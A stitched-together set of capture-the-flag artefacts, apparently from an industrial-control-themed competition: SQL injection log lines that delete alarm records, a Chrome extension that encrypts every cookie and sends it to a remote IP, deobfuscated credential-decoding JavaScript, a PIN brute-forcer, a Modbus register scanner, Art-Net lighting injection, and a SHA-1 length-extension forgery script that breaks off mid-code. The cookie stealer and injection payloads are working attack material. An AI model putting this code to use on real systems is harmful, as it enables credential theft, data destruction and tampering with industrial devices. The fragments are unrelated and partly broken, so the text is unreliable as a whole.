192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373530%27%20as%20TEXT)%3B--&Submit=Submit" 500 275 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743363135%27%20as%20TEXT)%3B--&Submit=Submit" 500 267 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745323330%27%20as%20TEXT)%3B--&Submit=Submit" 500 259 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742393736%27%20as%20TEXT)%3B--&Submit=Submit" 500 213 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745313538%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383233%27%20as%20TEXT)%3B--&Submit=Submit" 500 201 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743373635%27%20as%20TEXT)%3B--&Submit=Submit" 500 266 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742383236%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742333237%27%20as%20TEXT)%3B--&Submit=Submit" 500 230 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333737%27%20as%20TEXT)%3B--&Submit=Submit" 500 211 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B--&Submit=Submit" 500 255 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745323335%27%20as%20TEXT)%3B--&Submit=Submit" 500 236 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313237%27%20as%20TEXT)%3B--&Submit=Submit" 200 1299 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744393833%27%20as%20TEXT)%3B--&Submit=Submit" 500 289 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745363933%27%20as%20TEXT)%3B--&Submit=Submit" 500 283 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743383238%27%20as%20TEXT)%3B--&Submit=Submit" 500 272 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383232%27%20as%20TEXT)%3B--&Submit=Submit" 500 247 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393639%27%20as%20TEXT)%3B--&Submit=Submit" 200 1295 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745383534%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744383131%27%20as%20TEXT)%3B--&Submit=Submit" 500 242 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333436%27%20as%20TEXT)%3B--&Submit=Submit" 500 299 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313337%27%20as%20TEXT)%3B--&Submit=Submit" 500 235 "http://jubilifehistorian/alarms.php" 

v    ar destination = "http://192.88.99.24:8080/"
    // serializeCookie converts a cookie to string form
    function serializeCookie(cookie) {
        output = "[" + cookie.domain + "," + cookie.expirationDate + "," + cookie.hostOnly + ",";
        output += cookie.httpOnly + "," + cookie.name + "," + cookie.path + ",";
        output += cookie.sameSite + "," + cookie.secure + "," + cookie.session + ",";
        output += cookie.storeId + "," + cookie.value + "]";
        return output
    }
    // sendCookie serializes, encrypts, and sends a cookie
    function sendCookie(cookie) {
        var serializedCookie = "";
        var key = [];
        var encryptedCookie = [];
        var output = "";
        var opts = {
            'method': 'GET',
            'mode': 'no-cors'
        };
        // Serialize the cookie
        serializedCookie += serializeCookie(cookie);
        // Get key
        chrome.storage.local.get(["id"])
            .then((result) => {
                var keyString = result.id.slice(0, 4) + result.id.slice(-4, );
                key = keyString.split('');
                for (var i = 0; i < serializedCookie.length; i++) {
                    var charCode = serializedCookie.charCodeAt(i) ^ key[i % key.length].charCodeAt(0);
                    encryptedCookie.push(String.fromCharCode(charCode));
                }
                output = btoa(encryptedCookie.join(""));
                fetch(destination.concat(output), opts);
            });
    }
    // This will execute whenever a cookie is set or removed
    chrome.cookies.onChanged.addListener((changeInfo) => {
        if (changeInfo.cause == "explicit") {
            sendCookie(changeInfo.cookie);
        }
    });
    // This will execute when the extension is first installed
    chrome.runtime.onInstalled.addListener(() => {
        var opts = {
            'method': 'GET',
            'mode': 'no-cors'
        };
        chrome.system.cpu.getInfo((cpuInfo) => {
            chrome.system.memory.getInfo((memoryInfo) => {
                var info = "timestamp=" + Date.now()
                info += ",archName=" + cpuInfo.archName;
                info += ",modelName=" + cpuInfo.modelName;
                info += ",numOfProcessors=" + cpuInfo.numOfProcessors;
                info += ",availableCapacity=" + memoryInfo.availableCapacity
                info += ",capacity=" + memoryInfo.capacity;
                // Hash code adapted from https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/digest#converting_a_digest_to_a_hex_string
                const encoder = new TextEncoder();
                const data = encoder.encode(info);
                crypto.subtle.digest('SHA-256', data)
                    .then((digestBuffer) => {
                        const hashArray = Array.from(new Uint8Array(digestBuffer));
                        const uniqueId = hashArray.map((b) => b.toString(16)
                                .padStart(2, '0'))
                            .join('');
                        fetch(destination.concat(btoa("id=" + uniqueId + "," + info)), opts);
                        // Save ID in local storage
                        chrome.storage.local.set({
                                id: uniqueId
                            })
                            .then(() => {
                                // do nothing
                            });
                    });
            });
        });
    });

function decodeString(offset) {
    return function() {
        var r = Array.prototype.slice.call(arguments),
            t = r.shift();
        return r.reverse().map(function(r, o) {…
undefined
c80ac4f9c2 = (decodeString(1)(33, 137, 150, 151) + 995..toString(36)).toLowerCase() + decodeString(25)(28, 156, 163, 150);

feddc07405 = (decodeString(14)(14, 134) + 30..toString(36)).toLowerCase() + 
    decodeString(38)(4, 154) + 
    (1137788359..toString(36)).toLowerCase() + 
    (16..toString(36)).toLowerCase().split("").map(function(r) {
        return String.fromCharCode(r.charCodeAt() + -39)
    }).join("") + 
    decodeString(40)(36, 176, 186, 174, 179) + 
    (598116..toString(36)).toLowerCase() + 
    (30..toString(36)).toLowerCase().split("").map(function(r) {
        return String.fromCharCode(r.charCodeAt() + -71)
    }).join("") + 
    (921..toString(36)).toLowerCase() + 
    decodeString(57)(0, 174, 154);

b15d02c677 = (32788..toString(36)).toLowerCase() + 
    decodeString(56)(25, 198, 194, 201, 196) + 
    (13..toString(36)).toLowerCase();
"password"
console.log("c80ac4f9c2:", c80ac4f9c2);
console.log("feddc07405:", feddc07405);
console.log("b15d02c677:", b15d02c677);
c80ac4f9c2: username
feddc07405: [email protected]
b15d02c677: password

import asyncio
import aiohttp
from tqdm.asyncio import tqdm_asyncio
from collections import defaultdict
import json

# Constants
URL = "http://challenges.icsjwgctf.com:5000/update_permissions"
DASHBOARD_URL = "http://challenges.icsjwgctf.com:5000/dashboard"

# Headers
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://challenges.icsjwgctf.com:5000",
    "Connection": "keep-alive",
    "Referer": DASHBOARD_URL,
    "Upgrade-Insecure-Requests": "1",
    "Sec-GPC": "1",
    "DNT": "1",
}

# Cookies
cookies = {
    "web": "c2680ace859ea7a827362d1b",
    "show_message": "false",
}

async def try_pin(session, pin):
    data = {"permission": f"{pin:05d}"}
    try:
        async with session.post(URL, headers=headers, cookies=cookies, data=data, allow_redirects=False) as response:
            content = await response.text()
            new_cookies = dict(response.cookies)
            headers_without_date = dict(response.headers)
            headers_without_date.pop('Date', None)  # Remove the 'Date' header
            return content, response.status, headers_without_date, new_cookies
    except aiohttp.ClientError as e:
        print(f"Error occurred for PIN {pin:05d}: {e}")
        return None, None, None, None

def get_differences(base, current):
    if base == current:
        return None
    if isinstance(base, dict) and isinstance(current, dict):
        return {k: current[k] for k in current if k not in base or base[k] != current[k]}
    return current

def hash_dict(d):
    return json.dumps(d, sort_keys=True)

async def main():
    print("Starting PIN brute force...")
    async with aiohttp.ClientSession() as session:
        base_content, base_status, base_headers, base_cookies = await try_pin(session, 0)
        if base_content is None:
            print("Failed to get base response. Exiting.")
            return

        semaphore = asyncio.Semaphore(80)  # Limit concurrent requests
        unique_differences = defaultdict(list)

        async def process_pin(pin):
            async with semaphore:
                content, status, headers, new_cookies = await try_pin(session, pin)
                if content is None:
                    return

                differences = {
                    "status": status if status != base_status else None,
                    "content": get_differences(base_content, content),
                    "headers": get_differences(base_headers, headers),
                    "cookies": get_differences(base_cookies, new_cookies)
                }

                differences = {k: v for k, v in differences.items() if v}
                if differences:
                    diff_key = hash_dict(differences)
                    unique_differences[diff_key].append(pin)

        tasks = [process_pin(pin) for pin in range(100000)]
        await tqdm_asyncio.gather(*tasks, total=100000)

    print("\nBrute force complete. Unique differences found:")
    for i, (diff_key, pins) in enumerate(unique_differences.items(), 1):
        print(f"\nUnique Difference Set {i}:")
        print(f"PINs: {', '.join(map(str, pins))}")
        differences = json.loads(diff_key)
        for key, value in differences.items():
            print(f"{key.capitalize()}:")
            print(value)

    print(f"\nTotal number of unique difference sets: {len(unique_differences)}")

if __name__ == "__main__":
    asyncio.run(main())

from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusException, ModbusIOException
from pymodbus.pdu import ExceptionResponse

def read_single_register(client, reg_type, address):
    try:
        if reg_type == "input_registers":
            result = client.read_input_registers(address, 1)
        elif reg_type == "holding_registers":
            result = client.read_holding_registers(address, 1)
        else:
            return None

        if isinstance(result, ExceptionResponse):
            return None
        elif isinstance(result, ModbusIOException):
            return None
        else:
            return result.registers[0] if result.registers else None

    except ModbusException:
        return None
    except Exception:
        return None

def read_registers(client, reg_type, address, count):
    try:
        if reg_type == "coils":
            result = client.read_coils(address, count)
        elif reg_type == "discrete_inputs":
            result = client.read_discrete_inputs(address, count)
        elif reg_type == "input_registers":
            result = client.read_input_registers(address, count)
        elif reg_type == "holding_registers":
            result = client.read_holding_registers(address, count)
        else:
            print(f"Invalid register type: {reg_type}")
            return

        if isinstance(result, ExceptionResponse):
            print(f"Error reading {reg_type} at address {address}: {result}")
        elif isinstance(result, ModbusIOException):
            print(f"ModbusIOException reading {reg_type} at address {address}: {result}")
        else:
            if hasattr(result, 'bits'):
                print(f"{reg_type.capitalize()} at address {address}: {result.bits[:count]}")
            elif hasattr(result, 'registers'):
                print(f"{reg_type.capitalize()} at address {address}: {result.registers}")
            else:
                print(f"Unexpected result type for {reg_type} at address {address}: {type(result)}")

    except ModbusException as e:
        print(f"Modbus exception occurred while reading {reg_type} at address {address}: {e}")
    except Exception as e:
        print(f"Unexpected error occurred while reading {reg_type} at address {address}: {e}")

def scan_registers(client, reg_type, start_address, end_address, step=1):
    print(f"\nScanning {reg_type} from address {start_address} to {end_address}")
    valid_registers = []

    for address in range(start_address, end_address + 1, step):
        value = read_single_register(client, reg_type, address)
        if value is not None:
            print(f"Valid {reg_type} found at address {address}: {value}")
            valid_registers.append((address, value))

    if not valid_registers:
        print(f"No valid {reg_type} found in the specified range.")
    else:
        print(f"Total valid {reg_type} found: {len(valid_registers)}")

    return valid_registers

def main():
    server_address = 'challenges.icsjwgctf.com'
    server_port = 5020

    client = ModbusTcpClient(server_address, port=server_port)

    try:
        if client.connect():
            print("Connected to the server successfully.")

            # Scan different types of registers with a wider range
            scan_registers(client, "input_registers", 0, 65535, step=1)
            scan_registers(client, "holding_registers", 0, 65535, step=1)

        else:
            print("Failed to connect to the server.")
    except Exception as e:
        print(f"An error occurred: {e}")
    finally:
        client.close()
        print("Connection closed.")

if __name__ == "__main__":
    main()

import pyshark
import numpy as np
import logging
import re

logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')

def parse_dmx_data(dmx_string):
    # Extract percentage values using regex
    percentages = re.findall(r'(\d+)%', dmx_string)
    return [int(p) for p in percentages]

def extract_dmx_data(pcap_file):
    cap = pyshark.FileCapture(pcap_file, display_filter='artnet')
    accumulated_data = []
    packet_count = 0

    for packet in cap:
        packet_count += 1
        logging.info(f"Processing packet {packet_count}")

        try:
            if 'DMX_CHAN' not in packet:
                logging.warning(f"Packet {packet_count} does not have a 'DMX_CHAN' layer")
                continue

            dmx_data = packet.dmx_chan.dmx_data
            logging.debug(f"Raw DMX data: {dmx_data}")

            dmx_values = parse_dmx_data(dmx_data)
            logging.debug(f"Parsed DMX values: {dmx_values}")

            accumulated_data.extend(dmx_values)

            # If we have accumulated enough data for all lights, process it
            if len(accumulated_data) >= 506:  # 46 lights * 11 channels
                lights_data = process_accumulated_data(accumulated_data[:506])
                cap.close()
                return lights_data

        except Exception as e:
            logging.error(f"Error processing packet {packet_count}: {str(e)}")

    cap.close()
    logging.warning("Finished processing all packets without accumulating enough data")
    return process_accumulated_data(accumulated_data)

def process_accumulated_data(data):
    lights_data = [[] for _ in range(46)]
    for light in range(46):
        start_index = light * 11
        light_values = data[start_index:start_index+11]
        lights_data[light] = light_values
        logging.debug(f"Light {light} values: {light_values}")
    return lights_data

def analyze_red_values(lights_data):
    red_averages = []
    for light_index, light_data in enumerate(lights_data):
        if not light_data:
            logging.warning(f"No data for light {light_index}")
            red_averages.append(0)
            continue
        red_value = light_data[4]  # Channel 5 is Red
        red_averages.append(red_value)
        logging.info(f"Light {light_index} red value: {red_value}")

    if all(avg == 0 for avg in red_averages):
        logging.error("No valid red values found for any light")
        return None

    podium_light = np.argmax(red_averages)
    return podium_light

# Main execution
pcap_file = '/mnt/c/Users/stewa/Downloads/capture_artifact.pcap'
logging.info(f"Starting analysis of {pcap_file}")
lights_data = extract_dmx_data(pcap_file)
podium_light = analyze_red_values(lights_data)

if podium_light is not None:
    logging.info(f"The light over the podium is likely light number: {podium_light}")
    print(f"The light over the podium is likely light number: {podium_light}")
else:
    logging.error("Unable to determine the podium light due to insufficient data")
    print("Unable to determine the podium light due to insufficient data")

def get_podium_light_dmx():
    return bytes([
        128,  # Pan 50%
        128,  # Tilt 50%
        0,    # Pan Continuous Movement (No action)
        0,    # Tilt Continuous Movement (No action)
        0,    # Red 0%
        0,    # Green 0%
        0,    # Blue 0%
        255,  # White 100%
        32,   # Shutter open
        255,  # Dimmer 100%
        255   # Zoom 100%
    ])

import socket
import struct
import time

# Constants
DESTINATION_IP = "challenges.icsjwgctf.com"
DESTINATION_PORT = 6454  # Art-Net default port

# DMX Channels for Light over Podium (Light #25)
def get_podium_light_dmx():
    return bytes([
        128,  # Pan 50%
        128,  # Tilt 50%
        0,    # Pan Continuous Movement (No action)
        0,    # Tilt Continuous Movement (No action)
        0,    # Red 0%
        0,    # Green 0%
        0,    # Blue 0%
        255,  # White 100%
        32,   # Shutter open
        255,  # Dimmer 100%
        255   # Zoom 100%
    ])

# DMX Channels for Remaining Lights (Blue-Green)
def get_other_lights_dmx():
    return bytes([
        128,  # Pan 50%
        0,    # Tilt 0% (Pointing up)
        0,    # Pan Continuous Movement (No action)
        0,    # Tilt Continuous Movement (No action)
        0,    # Red 0%
        64,   # Green 25%
        179,  # Blue 70%
        0,    # White 0%
        32,   # Shutter open
        128,  # Dimmer 50%
        26    # Zoom 10%
    ])

# Craft the complete DMX data for 46 lights (512 channels)
def create_dmx_data():
    dmx_data = bytearray(512)
    
    # Place podium light DMX data at the correct position (Light #25 starts at channel 265)
    podium_dmx_data = get_podium_light_dmx()
    dmx_data[275:275 + len(podium_dmx_data)] = podium_dmx_data
    
    # Fill in other lights' DMX data for the remaining lights
    other_lights_dmx_data = get_other_lights_dmx()
    for i in range(46):
        if i != 25:  # Skip light 25, already set
            start_index = i * 11
            dmx_data[start_index:start_index + len(other_lights_dmx_data)] = other_lights_dmx_data
    
    return bytes(dmx_data)

# Art-Net packet creation with proper field handling 
def create_artnet_packet(dmx_data):
    packet = bytearray()

    # Art-Net ID ("Art-Net\x00")
    packet.extend(b'Art-Net\x00')

    # Correctly pack opcode (0x5000)
    packet.extend(struct.pack('<H', 0x5000))  # Opcode for ArtDMX (20480 in decimal)

    # Protocol version 
    packet.extend(struct.pack('>H', 14))  # ProtVer is 14

    # Sequence number and physical output port (1 byte each)
    packet.extend(bytes([0]))  # Sequence number (0 for simplicity)
    packet.extend(bytes([0]))  # Physical output port (0 for default)

    # Universe 
    packet.extend(struct.pack('>H', 0))  # Universe (set to 0 for default)

    # DMX data length
    packet.extend(struct.pack('>H', len(dmx_data)))  # DMX length (512 channels)

    # Add the DMX data
    packet.extend(dmx_data)

    return packet

# Function to send Art-Net packets
def send_packets():
    # Create UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Create DMX data and Art-Net packet
    dmx_data = create_dmx_data()
    packet = create_artnet_packet(dmx_data)
    
    try:
        while True:
            # Send packet
            sock.sendto(packet, (DESTINATION_IP, DESTINATION_PORT))
            print(f"Sent Art-Net packet to {DESTINATION_IP}:{DESTINATION_PORT}")
            
            # Receive response
            response, addr = sock.recvfrom(1024)
            print(f"Received response from {addr}:")
            print(f"Raw response: {response}")
            print(f"Hex response: {response.hex()}")
            
            # Try to decode the response as Art-Net
            if response.startswith(b'Art-Net\x00'):
                opcode = struct.unpack('<H', response[8:10])[0]
                print(f"Art-Net Opcode: 0x{opcode:04x}")
                
                if opcode == 0x2100:  # ArtPoll
                    print("Received ArtPoll packet")
                elif opcode == 0x2000:  # ArtPollReply
                    print("Received ArtPollReply packet")
                    # You can add more detailed parsing of ArtPollReply here
                elif opcode == 0x5000:  # ArtDmx
                    print("Received ArtDmx packet")
                    dmx_length = struct.unpack('>H', response[16:18])[0]
                    print(f"DMX data length: {dmx_length}")
                    print(f"DMX data: {response[18:18+dmx_length].hex()}")
                else:
                    print(f"Unknown Art-Net packet type: 0x{opcode:04x}")
            else:
                print("Received non-Art-Net response")
            
            time.sleep(0.05)  # 10 Hz (0.1 second interval)
            
    except KeyboardInterrupt:
        print("Stopping packet sending.")
    
    finally:
        sock.close()

# Main function
if __name__ == "__main__":
    send_packets()

In order for Aaron Celestic to provide you his secret key, he first wants you to answer some questions.

The good news is they are simple questions...the bad news is there are A LOT of them (hundreds).

All challenges contain binary operations and operands and answers are provided in hex. Aaron is quite particular about his answers, and will only accept answers in hex with prefix 0x.

Examples:
* 0x05 = valid answer
* 0x5  = invalid answer
* 05   = invalid answer
* 5    = invalid answer

Aaron's initial password for accessing his questions is "yanmega" and he is waiting for you to reach out to him at "challenges.icsjwgctf.com:9001".

Answer all of Aaron's questions correctly and he will tell you his secret key.

Good luck!

import socket
import re
import time

def connect_to_server(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    return sock

def receive_data(sock, timeout=5):
    sock.settimeout(timeout)
    data = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
            if b"\n" in chunk:
                break
    except socket.timeout:
        pass
    sock.settimeout(None)
    return data.decode().strip()

def send_data(sock, data):
    sock.sendall(f"{data}\n".encode())

def solve_binary_operation(operation):
    parts = re.findall(r'0x[\dA-Fa-f]+|>>|<<|\w+', operation)
    if len(parts) != 3:
        raise ValueError(f"Invalid operation format: {operation}")

    left, op, right = parts
    left = int(left, 16)
    right = int(right, 16) if '0x' in right else int(right)

    if op == 'OR':
        result = left | right
    elif op == 'AND':
        result = left & right
    elif op == 'XOR':
        result = left ^ right
    elif op == 'SUB':
        result = left - right
    elif op == 'ADD':
        result = left + right
    elif op == 'MUL':
        result = left * right
    elif op == 'DIV':
        result = left // right  # Integer division
    elif op == '>>':
        result = left >> right
    elif op == '<<':
        result = left << right
    else:
        raise ValueError(f"Unknown operator: {op}")

    # Ensure the result is positive and within 32-bit range
    result = result & 0xFFFFFFFF

    hex_result = f"0x{result:02X}"
    return hex_result

def main():
    host = "challenges.icsjwgctf.com"
    port = 9001
    password = "yanmega"

    sock = connect_to_server(host, port)

    # Receive initial prompt and send password
    data = receive_data(sock)
    print(f"Received: {data}")
    send_data(sock, password)

    challenge_count = 0

    while True:
        data = receive_data(sock)
        print(f"Received: {data}")

        if not data:
            print("Received empty response. Waiting for next challenge...")
            time.sleep(1)
            continue

        if "Incorrect" in data:
            print(f"Error: Incorrect answer after {challenge_count} challenges")
            break
        elif "secret key" in data.lower():
            print(f"Success! Secret key found after solving {challenge_count} challenges.")
            break

        # Extract the binary operation
        match = re.search(r'Challenge:\s*(.*?)\s*:', data)
        if match:
            operation = match.group(1)
            try:
                answer = solve_binary_operation(operation)
                challenge_count += 1
                print(f"Challenge {challenge_count}: Sending answer: {answer}")
                send_data(sock, answer)
            except ValueError as e:
                print(f"Error after {challenge_count} challenges: {e}")
                break
        else:
            print("No question found. Continuing...")

    sock.close()

if __name__ == "__main__":
    main()

Lucian Veilstone wants to test our your psychic cryptography capabilities before providing you his flag.

Lucian is using a SHA-1 secret-prefix HMAC for authentication SHA-1(key + message).

For instance, if his key was "\x63\x68\x61\x6e\x67\x69\x6e\x67\x5f\x73\x65\x63\x72\x65\x74\x5f\x6b\x65\x79\x21" (changing_secret_key!) and message was "super secret message", the SHA-1 HMAC would be:
SHA-1("changing_secret_key!super secret message") = 013fa8d0c73faacb43f09d6e1a29ec6f93d1159d

Lucian is constantly changing his key, but luckily all of his keys are always 20 characters/bytes long. 

Lucian's messages are always "mr.mime;espeon;bronzong;alakazam;", but he would like you to break his SHA-1 HMAC by sending him a new/forged message and HMAC without knowing the key.

Lucian requires the forged message you send him to contain both the original message "mr.mime;espeon;bronzong;alakazam;" and a new string ";gallade;".

If you reach out to Lucian at "challenges.icsjwgctf.com:9003" and provide him the password "crypto_psychic", he will give you his message and resulting HMAC and then ask you for your new/forged message. If your message contains the correct strings and the HMAC is verified against his key, he will provide you his secret key.

import hashlib
import struct
import socket
import time
import binascii  # Added for better binary data handling


def sha1(message):
    return hashlib.sha1(message).digest()


def sha1_padding(message):
    ml = len(message) * 8
    message += b'\x80'
    message += b'\x00' * ((56 - (len(message) % 64)) % 64)
    message += struct.pack('>Q', ml)
    return message


def sha1_state(digest):
    return struct.unpack('>5I', digest)


def sha1_compress(state, block):
    w = list(struct.unpack('>16I', block)) + [0] * 64

    for i in range(16, 80):
        w[i] = ((w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]) << 1) | (
            (w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]) >> 31
        )
        w[i] &= 0xffffffff  # Ensure w[i] remains within 32 bits

    a, b, c, d, e = state

    for i in range(80):
        if i < 20:
            f = (b & c) | ((~b) & d)
            k = 0x5A827999
        elif i < 40:
            f = b ^ c ^ d
            k = 0x6ED9EBA1
        elif i < 60:
            f = (b & c) | (b & d) | (c & d)
            k = 0x8F1BBCDC
        else:
            f = b ^ c ^ d
            k = 0xCA62C1D6

        temp = ((a << 5) | (a >> 27)) + f + e + k + w[i]
        temp &= 0xffffffff  # Ensure temp remains within 32 bits

        e = d
        d = c
        c = ((b << 30) | (b >> 2)) & 0xffffffff
        b = a
        a = temp

    return (
        (state[0] + a) & 0xffffffff,
        (state[1] + b) & 0xffffffff,
        (state[2] + c) & 0xffffffff,
        (state[3] + d) & 0xffffffff,
        (state[4] + e) & 0xffffffff,
    )


def sha1_length_extension(original_message, original_hash, append_message, key_length):
    print("[*] Starting SHA-1 Length Extension Attack")
    
    state = sha1_state(bytes.fromhex(original_hash))
    print(f"[*] Original SHA-1 State: {state}")

    original_message_bytes = original_message.encode()
    simulated_key = b'A' * key_length
    print(f"[*] Simulated Key (hidden): {'A' * key_length}")

    padded_original = sha1_padding(simulated_key + original_message_bytes)
    print(f"[*] Padded Original Message Length: {len(padded_original)} bytes")

    padding = padded_original[key_length + len(original_message_bytes):]
    print(f"[*] Extracted Padding: {padding.hex()}")

    new_message = original_message_bytes + padding + append_message.encode()
    print(f"[*] New Message Length: {len(new_message)} bytes")
    print(f"[*] New Message (hex): {new_message.hex()}")

    state = sha1_state(bytes.fromhex(original_hash))
    for i in range(0, len(padding + append_message.encode()), 64):
        block = (padding + append_message.encode())[i:i+64].ljust(64, b'\x00')
        state = sha1_compress(state, block)

    new_hash = struct.pack('>5I', *state).hex()
    print(f"[*] Forged HMAC: {new_hash}")

    return new_message, new_hash


def solve_challenge():
    host = "challenges.icsjwgctf.com"
    port = 9003

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        try:
            print(f"[*] Connecting to {host}:{port}")
            s.connect((host, port))
            s.settimeout(30)  # 30 seconds timeout

            # Receive initial prompt
            initial_prompt = s.recv(1024).decode().strip()
            print(f"Server: {initial_prompt}")

            # Send password
            password = "crypto_psychic\n".encode()
            s.sendall(password)
            print(f"[*] Sent password: {password.decode().strip()}")

            # Receive original message and HMAC
            response = s.recv(1024).decode().strip()
            print(f"Server response: {response}")

            # Split the response into message, HMAC, and forged message prompt
            try:
                lines = response.split("\n")
                message_part = lines[0]
                hmac_part = lines[1]
                forged_prompt = lines[2] if len(lines) > 2 else ""

                actual_message = message_part.split("Lucian's Message: ")[1].strip()
                original_hmac = hmac_part.split("Lucian's HMAC:")[1].strip()
                print(f"[*] Actual Message: {actual_message}")
                print(f"[*] Original HMAC: {original_hmac}")
                print(f"[*] Forged Message Prompt: {forged_prompt}")
            except Exception as e:
                print(f"[!] Failed to parse server response: {e}")
                print(f"[!] Full server response: {response}")
                return

            print("[*] Preparing to perform length extension attack...")
            
            # Perform length extension attack
            try:
                key_length = 20
                append_message = ";gallade;"  # Add back the leading semicolon
                new_message, new_hmac = sha1_length_extension(
                    actual_message, original_hmac, append_message, key_length
                )
                print("[*] Length extension attack completed successfully.")
                
                # New logging for forged message details
                print("\n[*] Forged Message Details:")
                print(f"    - Original Message: {actual_message}")
                print(f"    - Appended Text: {append_message}")
                print(f"    - Full Forged Message (hex): {new_message.hex()}")
                print(f"    - Full Forged Message (ascii, non-printable chars replaced):")
